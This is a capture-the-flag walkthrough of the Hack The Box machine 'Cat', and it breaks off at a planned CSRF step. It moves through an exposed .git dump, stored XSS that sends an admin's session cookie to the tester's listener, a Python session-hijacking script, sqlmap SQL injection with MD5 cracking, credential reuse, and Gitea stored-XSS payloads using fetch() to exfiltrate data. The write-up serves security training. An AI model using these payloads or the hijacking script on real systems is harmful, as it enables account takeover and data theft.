Cat

INTRODUCTION

Cat was released as the fourth box of HTB’s Season 7 Vice… and it was an absolute delight! If you’re searching for a fun box to try some web attacks, look no further!

Plus, what is more fitting for a web-oriented box than a website for ranking cute cat photos? 🐱

Recon was easy, as long as .git is in your go-to dirbusting wordlist. Once discovering the exposed .git directory, you can read through the target’s website source code. Read through the source code carefully, and look for mistakes that the programmer made - there are more than one.

For foothold, keep in mind that not everything that looks like a vulnerability actually is, so be patient when figuring out your attack path. Part of what I loved about the foothold is that there is no guessing involved; the source code will tell you everything you need to know. The foothold attack path is typical of web apps: remember that sometimes exploits involve user interaction, too.

After gaining a foothold, go through your usual local privesc enumeration. There is still one pivot to achieve the user flag, but thankfully the thing you need to find is a typical item of a pentester’s checklist. Be diligent in your enumeration, and you’ll find it with ease. Finding this one thing will allow you to pivot to the next user and grab the user flag.

Achieving the root flag was also very fun. After gaining access to the User flag’s user, we are greeted with some emails containing hints. Carefully consider each hint, but don’t neglect to double check any known versions of things against known CVEs. You would be wise to recognize that the CVE you find can be extended to other, more complex attacks - not just the one from the PoC. Abusing this one CVE several times will lead you towards the root credential.

Cat was quite long for a Medium box, but each step led very logically into the next. I really appreciated that there was no “guessy” aspect to this box - it was 100% puzzle, and every hint was important. What a great time! If you’re looking to brush up on your web app pentesting skills, this is the box for you 😁

title picture

RECON

nmap scans

Port scan

I’ll begin by setting up a directory for the box, with an nmap subdirectory, then setting $RADDR to the target machine’s IP, and scanning it with a broad port scan of all 65535 ports:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://cat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No results.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

No results.

Webserver Strategy

Noting the redirect from the nmap scan, I added cat.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=template.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

whatweb

Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate hosts:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

vhost enum

Next I’ll check for subdomains of cat.htb

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

No new results from that. I’ll move on to directory enumeration on http://cat.htb:

I prefer to not run a recursive scan, so that it doesn’t get hung up on enumerating CSS and images.

The wordlist I’m using was made by merging a few of my favourites from Seclists 👇

WLIST=/usr/share/wordlists/dirs-and-files.txt                              
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4

directory enum

Oh wow! An exposed .git - Maybe I’ll be able to reconstruct the source code. I’ll take a quick look at the site first, then see if I can use something like GitHacker on it.

Exploring the Website

The front page introduces that this site is about rating cat photos. Don’t they know that existed a long time ago? It’s called Reddit.

index page

The Vote page suggests that there is a way to place votes. Not sure if it’s because the contest is closed, but the buttons don’t actually cause any web requests:

vote page

The Winners page shows the winners of last contest. It appears to be completely static as well. The Join page presents us with a form to register on the site (username, email, password).

registration page

I registered the test account jimbob : jim@bob.htb : password, which gives us a new form on the Contest page. I went ahead and registered my overweight, time-travelling, baby beaver named Chewbert:

chewbert

Exposed Git

GitHacker

I haven’t had much luck with this tool lately, but it used to work great so I’ll try it now:

cd ./source
docker run -v /etc/hosts:/etc/hosts:ro -v $(pwd)/results:/tmp/githacker/results wangyihang/githacker --output-folder /tmp/githacker/results --url http://cat.htb/.git/

Hmm, no. It ends in a Python error claiming that git isn’t installed. Maybe there’s something wrong with the docker image. Oh well 🤷‍♂️

GitHacker

I used this tool recently on LinkVortex and it worked perfectly. Let’s try it again now:

cd ../tools
git clone https://github.com/lijiejie/GitHack.git
cd GitHack
python3 GitHack.py http://cat.htb/.git/

Moments later, the program terminates and we’re left with a cat.htb directory full of source code and some images:

githack results

That cat_report_20240831_173129.php looks auto-generated and has a predictable filename… I wonder if that will become useful later? 🤔

Source code analysis

Instead of running through every single file in this walkthrough, I’ll just summarize my findings. I’m going to read through the files in my usual sequence, from “boot to view”: i.e. starting at things like config.php and working towards cat_report_20240831_173129.php.

config.php shows that the website uses an SQLite database, /databases/cat.db

admin.php shows that there is some special handling of a user named axel:

// Check if the user is logged in
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
    header("Location: /join.php");
    exit();
}

I.e. if I can register as axel, I can navigate freely to admin.php. I can also see based on their coding style that they are trying to avoid XSS. Also, the admin page seems to have some kind of accept/reject feature for the cat contestants. Only a user on the axel session can use these:

<script>
    function acceptCat(catName, catId) {
       if (confirm("Are you sure you want to accept this cat?")) {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "accept_cat.php", true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4 && xhr.status === 200) {
                    window.location.reload();
                }
            };
            xhr.send("catName=" + encodeURIComponent(catName) + "&catId=" + catId);
        }
    }

    function rejectCat(catId) {
        if (confirm("Are you sure you want to reject this cat?")) {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "delete_cat.php", true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4 && xhr.status === 200) {
                    window.location.reload();
                }
            };
            xhr.send("catId=" + catId);
        }
    }
</script>

winners.php looks like it loads the winners report dynamically, and might be subject to file inclusion. If I can somehow force the web app to produce a particular winners report, I should be able to gain RCE this way:

<?php
$reportsDir = 'winners/';
$files = glob($reportsDir . '*.php');
if (!empty($files)) {
    include $files[0];
} else {
    echo "<h1>There are no winners.</h1>";
}
?>

contest.php provides the admin user (axel only) with a bunch of links to content rendered in view_cat.php:

<div class="container">
    <h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
    <img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
    <div class="cat-info">
        <strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
        <strong>Age:</strong> <?php echo $cat['age']; ?><br>
        <strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
        <strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
        <strong>Owner:</strong> <?php echo $cat['username']; ?><br>
        <strong>Created At:</strong> <?php echo $cat['created_at']; ?>
    </div>
</div>

💡 I’ve been watching how our user-controlled inputs flow through the app - entering the database then being read again for the contest… and I think that the username might actually be an opportunity for XSS in the above code from view_cat.php.

If XSS is possible, then I might be able to go through this stragegy:

  1. Steal axel session
  2. Vote for my own submission to cause my cat to win the contest
  3. ??? somehow control the Winner report, inserting PHP code into it
  4. File Inclusion, RCE

I should try registering a user with XSS payloads in the name.

vote.php shows that the vote buttons don’t actually do anything.

We can infer some of the database structure:

  • Table users - fields username, password, and email
  • Table cats - fields cat_id, photo_path, cat_name, age, birthdate, weight, owner_username
  • Table accepted_cats - only field is name

FOOTHOLD

XSS for Axel Session

It’s the unsafe rendering of the user-controlled username that I suspect might cause an XSS, so customized a copy of view_cat.php, saved it alongside the source code for the site, and served it with a PHP dev server:

cd ./cat.htb
cp view_cat.php test.php
vim test.php  # modified the code - see below
php -S localhost:8000

I did this for a few reasons:

  • I want a version of the page where I get a PHPSESSID cookie, which is what I want to steal from axel.
  • It’s a reasonable simulation of how axel might access the page, but I can configure it to bypass using a database
  • It’s good to test things in small, reproducible steps

Here’s the code I came up with for test.php:

<?php

session_start();
$cat_id = isset($_GET['cat_id']) ? $_GET['cat_id'] : null;
$mockCats = [
    1 => [
        'weight' => 10,
        'age' => 5,
        'username' => 'unknown',
        'cat_name' => 'Misti',
        'birthdate' => '2018-04-01',
        'photo_path' => './img/cat1.png'
    ],
    2 => [
        'weight' => 8,
        'age' => 3,
        'username' => 'Nixie',
        'cat_name' => 'Fluffy',
        'birthdate' => '2020-06-15',
        'photo_path' => './img/cat2.png'
    ],
    3 => [
        'weight' => 6.5,
        'age' => -25,
        'username' => 'owner2',
        'cat_name' => 'Chewbert',
        'birthdate' => '2050-02-01',
        'photo_path' => './img/beaver.jpg'
    ],
];
if ($cat_id && isset($mockCats[$cat_id])) {
    $cat = $mockCats[$cat_id];
} else {
    die("Cat not found or invalid cat ID.");
}
// Output the properly-escaped payload
echo "Owner Username: " . htmlspecialchars($cat['username']) . "<br>";
?>

<!DOCTYPE html>
<html lang="en">
<head>
<!-- SAME AS view_cat.php -->
</head>
<body>
<div class="navbar">
<!-- SAME AS view_cat.php -->
</div>
<div class="container">
    <h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
    <img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo"
        style="width: 50%;transform: translateX(50%);">
    <div class="cat-info">
        <strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
        <strong>Age:</strong> <?php echo $cat['age']; ?><br>
        <strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
        <strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
        <strong>Owner:</strong> <?php echo $cat['username']; ?><br>
        <strong>Created At:</strong> <?php echo $cat['created_at']; ?>
    </div>
</div>
</body>
</html>

Here’s how the page looks when I load the test data for Chewbert - this has no payload in it yet:

view_cat test page

Great, now I can try out some different payloads as a username. This test.php was probably unnecessary, but it makes for a good simulation.

XSS Payload

I tried a few xss payloads. Since we have the source code, we know that there should be no escape character - the payload should just be raw HTML.

To rapidly generate a bunch of labelled XSS payloads, I’m using a tool I developed called Crxss-Eyed.

Usually, you point it at an API endpoint that accepts x-www-form-urlencoded form data, then fires a ~100 different XSS payloads to see which ones worked. It’s a very “CTF-oriented” tool, but it allows you to see which payloads properly escape the HTML context to run JS.

Each payload is labelled; when the target contacts your HTTP server, you’ll know exactly which payload(s) worked.

A byproduct of that tool is that it generates a list of payloads, all pre-labelled, in HTML format: debug.lst. If you know exactly what HTML-escaping to do (if you’re in a white-box test, for example) then you can just cherry-pick from debug.lst for convenience 😁

A bunch of the payloads worked in my test.php page, so I started trying them on the target by registering users with XSS payloads as their usernames.

Thankfully, I only needed to try two different payloads before I got a hit! 🎉 This was the winner:

<script src="http://10.10.14.95:8000/grabcookie.js?payload=extscript&f=debug"></script>

This XSS payload references a file that I’m serving using my HTTP listener, grabcookie.js (this file is generated by Crxss-eyed too):

function urlSafeBase64Encode(data) {
  var encoded = btoa(data)
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=/g, '');
  return encoded;
}

new Image().src='http://10.10.14.95:8000/grabcookie?b64='+urlSafeBase64Encode(document.cookie)

My HTTP server caught the initial request for grabcookie.js, and the subsequent request to steal the cookie itself:

XSS for axel session success

☝️ Axel’s PHPSESSID is rrotvnlro5c6buqi79p68ckq6q.

Perfect! Now I can just overwrite my own PHPSESSID cookie with axel’s, and I can hijack their session:

accessed admin

😉 Worked perfectly!

While I was writing this, it looks like the cleanup script ran and changed Axel’s session: I’ll need to redo the XSS to get the session again.

Maybe it’s worth writing a script? Yeah, I’ll do that ✅

Session Hijacking script

To make the session hijacking more predictable and fast, I decided to write it into a script. Basically, I start up an HTTP listener (I’m using my simple-http-server that serves the grabcookie.js script I showed earlier and listens for the base64-encoded PHPSESSID to be sent to it.

This is all initiated by the automatic registration, login, and contest submission done by this script:

#!/usr/bin/env python3

import requests
import argparse
import random
import sys
import re

PROXIES = {
    'http': 'http://127.0.0.1:8080'
}
BASE_URL = 'http://cat.htb'
HEADERS = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'DNT': '1',
    'Connection': 'keep-alive',
    'Upgrade-Insecure-Requests': '1',
    'Sec-GPC': '1'
}

session = requests.Session()
session.headers.update(HEADERS)

def register(url, listener):
    _url = f'{url}/join.php'
    params = {
        'username': f'<script src="{listener}/grabcookie.js?payload=extscript&f=debug"></script>',
        'email': 'jim@bob.htb',
        'password': 'password',
        'registerForm': 'Register'
    }
    print('Registering user... ', end='')
    response = session.get(_url, params=params, proxies=PROXIES)
    if 'Registration successful!' in response.text:
        print('done.')
        return True
    elif 'Error: Username or email already exists.' in response.text:
        print('already registered.')
        return True
    print(response.text)
    return False
    
def logout(url):
    print('Logging out... ', end='')
    _url = f'{BASE_URL}/logout.php'
    session.get(_url)
    print('done')
    
def login(url, listener):
    _url = f'{url}/join.php'
    params = {
        'loginUsername': f'<script src="{listener}/grabcookie.js?payload=extscript&f=debug"></script>',
        'loginPassword': 'password',
        'loginForm': 'Login'
    }
    print('Logging in... ', end='')
    response = session.get(_url, params=params, proxies=PROXIES, allow_redirects=False)
    if 300 <= response.status_code <= 399 and response.headers.get('Location') == '/':
        print('done.')
        return True
    print(response.text)
    return False
    
def contest_entry(url, image_file):
    _url = f'{url}/contest.php'
    #_url = f'{url}/test2.php'
    #cat_name = f'Chewbert_{random.randint(100000, 999999)}'
    cat_name = 'Chewbert'
    data = {
        'cat_name': cat_name,
        'age': '5',
        'birthdate': '2020-02-01',
        'weight': '5'
    }
    files = {
        'cat_photo': (image_file, open(image_file, 'rb'), 'image/jpeg')
    }
    print('Submitting contest entry... ', end='')
    response = session.post(_url, data=data, files=files, proxies=PROXIES, allow_redirects=False)
    if 'Cat has been successfully sent for inspection' in response.text:
        print('done.')
        return True
    print(f'HTTP {response.status_code}\n{response.text}\n')
    return False
    
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Session Hijacking script for Cat')
    parser.add_argument('-u', '--url', type=str, default='http://cat.htb', help='Target URL (default: http://cat.htb)')
    parser.add_argument('-f', '--image-file', type=str, default='./cat.jpg', help='Path to the image file to upload')
    parser.add_argument('-L', '--listener', type=str, default='http://localhost:8000', help='Listener URL (default: http://localhost:8000)')
    parser.add_argument('-s', '--session', type=str, default='', help='Already have session ID, so skip the first part (ignore -f and -L)')
    args = parser.parse_args()

    # Perform the XSS
    session_id = args.session if args.session else ''
    if session_id == '':
        if not register(args.url, args.listener):
            print("Registration unsuccessful")
            sys.exit(1)
        if not login(args.url, args.listener):
            print("Login unsuccessful")
            sys.exit(1)
        #print('Logged in with session: '+ session.cookies.get('PHPSESSID'))
        if not contest_entry(args.url, args.image_file):
            print("Contest entry unsuccessful")
            sys.exit(1)
        session_id = input("Check your HTTP Listener and paste received PHPSESSID here: \n>> ")
        
    # Hijack axel session.
    del session.cookies['PHPSESSID']
    session.cookies.set('PHPSESSID', session_id)
    
    # Do some stuff as axel ?

So now I can just run the script…

session hijacking 1

… and wait for my HTTP listener to catch the session ID:

session hijacking 2

Much more repeatable (and less clicks) than messing around with ZAP or Burp 👍

More Code Analysis

Since I just discovered a reliable way to hijack the axel session (and wrote a python script to do it), it makes sense to go back to code analysis and try to find all the new places that I can access with the axel session.

As seen earlier, I can access accept_cat.php and delete_cat.php… 🤔

After a little more reading, I found a possible SQLi vulnerability in accept_cat.php, which is one of the endpoints that requires the axel session. Note that cat_name is user-controlled. See how the author failed to use a prepared statement:

$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);

This is the javascript that usually sends a POST request to that endpoint:

function acceptCat(catName, catId) {
   if (confirm("Are you sure you want to accept this cat?")) {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "accept_cat.php", true);
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.onreadystatechange = function() {
            if (xhr.readyState === 4 && xhr.status === 200) {
                window.location.reload();
            }
        };
        xhr.send("catName=" + encodeURIComponent(catName) + "&catId=" + catId);
    }
}

If I can find a way to leverage this SQLi into a file write into the /winners directory, then I should be able to utilize the file inclusion that I found earlier. Here’s the revised strategy:

  1. Hijack Axel session
  2. Use SQLi at accept_cat.php to write some PHP into winners directory
  3. Use file inclusion at winners.php to run the inserted PHP, thus gaining RCE

SQLi > file write

SQLite3 doesn’t write files as easily as other DBMSs… I found one way at PayloadAllTheThings, and another on an SQLi cheatsheet

My attempts at rolling these methods into my python script looked like this:

# PayloadAllTheThings file write
sqli = 'Chewbert\'); SELECT writefile(\'/var/www/html/winners/testingtestingtestingtesting.php\', \'<?php phpinfo(); ?>\'); -- '
# Cheatsheet file write
sqli = 'Chewbert\'); ATTACH DATABASE \'/var/www/lol.php\' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (\'<?php phpinfo(); ?>\');--'
# Do stacked queries even work?
sqli = 'Chewbert\'); SELECT \'A -- '
accept_cat(args.url, 0, sqli)

accept_cat(url, id, name) is the function I wrote that performs the POST /accept_cat.php request. Instead of the name Chewbert I’m providing the SQLi payload.

While this seemed like a solid idea, I’m pretty sure that stacked queries (on which both of the above payloads rely) are disabled. Unsurprising, since that’s the default state of SQLite3. I’m going to need ot find another way to write a file into /winners!

SQLMap

Now that we have a reliable way of session hijacking (thus positioning ourselves for SQLi), maybe I’ll just throw SQLMap at it and see what it can find out.

After all, it is written to find the most obscure SQLi payload types - far better than I can do simply by code analysis and my beginner/intermediate SQL knowledge.

First I’ll grab the session ID for axel:

session hijacking 1

Then I’ll set it as a bash variable, and run sqlmap. Note that I’ve marked the catName parameter as the one to test, and told sqlmap to only test SQLite payloads:

PHPSESSID=j7h016vl6g219cca6uutd4oh9l
sqlmap -u http://cat.htb/accept_cat.php --data 'catId=0&catName=Chewbert*' --cookie "PHPSESSID=$PHPSESSID" --dbms SQLite --level 5 --risk 3 --batch

😪 Due to my garbage internet connection, I couldn’t get sqlmap to work very well from my regular attacker host. In hopes of speeding up the attack, I switched to Pwnbox. For the remainder of this section, you’ll see screenshots from pwnbox, instead of from my machine.

This meant I had to manually transfer my hijack_session.py script, grabcookie.js, and beaver.jpg.

Thankfully, it was all worth it later.

SQLMap found two attack methods:

sqlmap 1

Great! Let’s see if we can dump the users table:

sqlmap -u http://cat.htb/accept_cat.php --cookie "PHPSESSID=i6v8itdjvltp14kuo57u4d972i" --data 'catName=Chewbert*&catId=1' --batch --dbms SQLite --level 5 --risk 3 -T users --dump --threads 10

dumped users table

👍 Using the clipboard, I copied the contents of the dumped csv file back to my attacker host. As indicated by the rudimentary sqlmap password-cracking feature, these are definitely just plain ol’ MD5 hashes.

We can convert the csv file to a format crackable by john or hashcat by doing some text manipulation:

tail -n -11 users.csv | head -n 10 | cut -d ',' -f 3,4 | tr ',' ' ' | awk '{print $2":"$1}' > users.md5

md5 hashes

WLIST=/usr/share/wordlists/rockyou.txt
john --wordlist=$WLIST --format=Raw-MD5 users.md5

🎉 We got one hit: rosa : soyunaprincesarosa. Before moving on, I’ll check for credential re-use:

ssh rosa@$RADDR  # soyunaprincesarosa

ssh as rosa

USER FLAG

Local Enumeration - rosa

There are a bunch of users on the target with login shells:

root:x:0:0:root:/root:/bin/bash
axel:x:1000:1000:axel:/home/axel:/bin/bash
rosa:x:1001:1001:,,,:/home/rosa:/bin/bash
git:x:114:119:Git Version Control,,,:/home/git:/bin/bash
jobert:x:1002:1002:,,,:/home/jobert:/bin/bash

There is a copy of the database we were accessing earlier, at /databases/cat.db. It seems like exactly the same database, and contains the same hashes as before, so I don’t think it’s important.

Checking netstat shows two unexpected services running:

rosa smtp:

We see SMTP running on TCP ports 25 and 587. There’s also something on port 3000 - probably a custom HTTP server! Let’s forward these ports by reconnecting as rosa:

ssh -L 25:localhost:25 -L 587:localhost:587 -L 3000:localhost:3000 rosa@cat.htb

Port 3000

First, let’s check out whatever is on port 3000. I’m going to go out on a limb and assume it’s HTTP 😉

gitea

It’s Gitea! This is a self-hosted Git service that we’ve encountered a few times (check out my walkthrough of Compiled for the deepest dive into it). We should be able to explore the service a bit without even making an account.

There are no repos. At least, none that I can see as anonymously. There are also no organizations listed.

However, rosa, axel and administrator have user accounts:

gitea 2

None of these accounts show any activity. Also, user registration is disabled.

Since I haven’t seen any clues regarding Gitea yet, I think I’ll leave this for now and come back later once I have an indication of what it’s being used for 🚩

SMTP

Ports 25 and 587 are SMTP. I wonder what it’s used for? Notably, there is no IMAP or POP running. That means that they’re probably relying on /var/mail for mailboxes:

mailboxes

Indeed - we see that axel, jobert, and root all have mail directories. I’ll try emailing these users, and see if the box is scripted for them to reply or something:

sendEmail -t jobert@cat.htb -f rosa@cat.htb -s localhost -u "Important subject"
You should check out http://10.10.14.95:8000! It's the best
[ctrl+d]
sendEmail -t axel@cat.htb -f rosa@cat.htb -s localhost -u "Important subject"
You should check out http://10.10.14.95:8000! It's the best
[ctrl+d]

My HTTP server was never contacted. I’ll keep SMTP in mind, but move on to other things now 🚩

Write permissions and ownership

Note that rosa in groups rosa and adm:

find / -writable 2>/dev/null | grep -v '^\(/sys\|/proc\|/run\)'
find / -user $USER 2>/dev/null  | grep -v '^\(/sys\|/proc\|/run\)'
find / -group $USER 2>/dev/null | grep -v '^\(/sys\|/proc\|/run\)'
find / -group adm 2>/dev/null | grep -v '^\(/sys\|/proc\|/run\)'

The last command, checking for ownership by adm, gave a few interesting results:

adm ownership files

The Apache access.log might be useful, since we know the site has a login and only uses HTTP. The mail.log might also be interesting, so would auth.log. After all that, I should sift through the syslog

Apache access log

The access log showed a very long history of axel logging in and using the web app. The same scripted sequence of interactions every time:

apache access log

As we hoped, there’s a plaintext credential there! We now have a password for axel, at least for accessing the web app: axel : aNdZwgC4tI9gnVXv_e3Q

Let’s check it for credential re-use before continuing with the other logs:

ssh axel@cat.htb  # aNdZwgC4tI9gnVXv_e3Q

ssh as axel

🎉 Lucky! What an odd credential to reuse. The SSH connection us into /home/axel, adjacent to the user flag. We also have mail. Feel free to cat out the flag for some points:

cat user.txt

Mail log

We can see evidence of me playing with SMTP:

mail log 1

However, we also see that root is emailing itself exactly every 5 minutes. What could that be about? 🚩

mail log 2

Auth log

The auth.log file didn’t have any surprises inside. It showed evidence of the box creator doing their thing, then later of my logging in as rosa, then axel.

Syslog

I’m going to persue other enumeration (as axel) before resort to diving into the syslog 😅

ROOT FLAG

Local Enumeration - axel

First, I’ll note that…

  • axel has no sudo privileges
  • nothing weird in their env
  • no strange processes running
  • no differences to netstat compared to rosa

Next, let’s check out that email! It will be in /var/mail/axel.

There are actually two emails in there, both from rosa:

From rosa@cat.htb Sat Sep 28 04:51:50 2024 Return-Path: rosa@cat.htb Received: from cat.htb (localhost [127.0.0.1]) by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592 for axel@cat.htb; Sat, 28 Sep 2024 04:51:50 GMT Received: (from rosa@localhost) by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591 for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT Date: Sat, 28 Sep 2024 04:51:49 GMT From: rosa@cat.htb Message-Id: 202409280451.48S4pnlT001591@cat.htb Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From rosa@cat.htb Sat Sep 28 05:05:28 2024 Return-Path: rosa@cat.htb Received: from cat.htb (localhost [127.0.0.1]) by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268 for axel@cat.htb; Sat, 28 Sep 2024 05:05:28 GMT Received: (from rosa@localhost) by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267 for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT Date: Sat, 28 Sep 2024 05:05:28 GMT From: rosa@cat.htb Message-Id: 202409280505.48S55Sm0002267@cat.htb Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

Nice! There are two big clues in these emails:

  1. Maybe we can pivot ot Jobert by using gitea? It may include some kind of user-interaction too, like phishing or XSS (otherwise, why the part about leaving a “clear description”?) 🤔

  2. There is already a repo in Gitea! We just didn’t see it earlier because it is private.

    ​ Axel was told they have access, so I’ll check for credential re-use at Gitea, too.

This seems really promising at first, but even when we access Gitea as axel, there is no /administrator/Employee-management repo… I reset the box, but the result was the same! Where is this repo?

Gitea

Going back to Gitea, you can see from the footer that it’s running version 1.22.0. The current version is 1.23.1. Doing a quick check for exploits on this version, we see there is a stored XSS vulnerability (EDBID 52077 / CVE-2024-6886):

Steps to Reproduce
  1. Log in to the application.

  2. Create a new repository or modify an existing repository by clicking the Settings button from the $username/$repo_name/settings endpoint.

  3. In the Description field, input the following payload:

    <a href=javascript:alert()>XSS test</a>

  4. Save the changes.

  5. Upon clicking the repository description, the payload was successfully injected in the Description field. By clicking on the message, an alert box will appear, indicating the execution of the injected script.

Let’s try it out. As Axel, I’ll add a new repo:

gitea new repo

I’ll try filling out the Description with an XSS payload inside. I’ll start with the same payload I used to hijack the axel session initially:

gitea xss 1

Right after initializing the repo, I sent an email from axel to jobert, notifying them about the new repo and asking them to go check it out:

gitea xss 3

No result from that, though. I’ll try again, this time using the payload indicated from the steps to reproduce section shown earlier.

Since I know that the Description is also displayed within the README.md, I’ll enable the Initialize Repository (Adds .gitignore, License and README) option and also add in a markdown-formatted link.

Turns out cats love cookies too!
<a href=javascript:fetch('http://10.10.14.95:8000/grabcookie?'+document.cookie)>Learn More</a>

This time, the target host contacted my HTTP listener:

gitea xss 2

Partial success!

However, it didn’t insert the cookie. It’s as if the JS didn’t actually run, but jobert clicked whatever link was presented.

XSS Session Hijack Again

🚫 This method did not lead to the result. It was informative though; I learned a bit about the format of the <a href="javascript:..."> style of XSS. If you’re short on time, skip ahead to the next section

I’ll try again, but this time the javascript will be behind a particular file (again I’ll use grabcookie.js)

Turns out cats love cookies too!
<a href="http://10.10.14.95:8000/grabcookie.js">anchor tag</a>
[markdown link](http://10.10.14.95:8000/grabcookie.js)

That worked! But all it did was load grabcookie.js, not execute it. The problem is that there’s not javascript execution there, only loading a .js file.

I’ll try combining my grabcookie.js script with the href=javascript: idea:

Turns out cats love cookies too!
<a href="javascript:const x=btoa(document.cookie).replace(/\+/g, \"-\").replace(/\//g, \"_\").replace(/=/g, \"\");const baseurl=http://10.10.14.95:8000/?b64=";const url=baseurl+x;fetch(url)>link</a>

This however, seems to have issues with the escaping of quotation marks. Let’s try again but with singlequotes. I’ll do this without involving the jobert email (i.e. just accessing the link myself):

<a href="javascript:const x=btoa(document.cookie).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');const baseurl='http://10.10.14.95:8000/?b64=';const url=baseurl+x;fetch(url)">link</a>

gitea xss 5

The payload worked fine, but no cookie. Then I realized I had missed something really obvious…

gitea xss 6

… the Gitea cookie is marked HttpOnly! 🤦‍♂️

Aside: Gitea cleanup script

I noticed that the cleanup script on Gitea was quite aggressive. To investigate, I checked the syslog as rosa (who’s in the adm group), and found exactly what it’s doing:

chown git:git /var/lib/gitea/data/gitea.db;
chmod 644 /var/lib/gitea/data/gitea.db;
cp /root/scripts/gitea.db /var/lib/gitea/data/gitea.db && rm -r /var/lib/gitea/data/gitea-repositories/*;
cp -r /root/scripts/administrator/ /var/lib/gitea/data/gitea-repositories;
chown git:git -R /var/lib/gitea/data/gitea-repositories

gitea cleanup script

Gitea CSRF

The way I see it, we’ve identified two important things:

  • A repeatable way to do Stored XSS against jobert
  • jobert is actually the administrator user on Gitea

My initial idea, to steal the administrator session cookie on Gitea, didn’t work out. The cookie is marked as HttpOnly, so no amount of XSS shenanigans will get past that fact.

🤔 So what else can we do when we have XSS into an authenticated user? We can make them perform other web requests (already demonstrated)

This is a textbook example of an opportunity for CSRF! 💡

New strategy

administrator can obviously access their own repositories. If we assume that the Employee-management actually exists (just axel wasn’t set as a collaborator), then maybe we can access the README.md that was clearly mentioned in the email hint?

▶️ The target file is at http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md

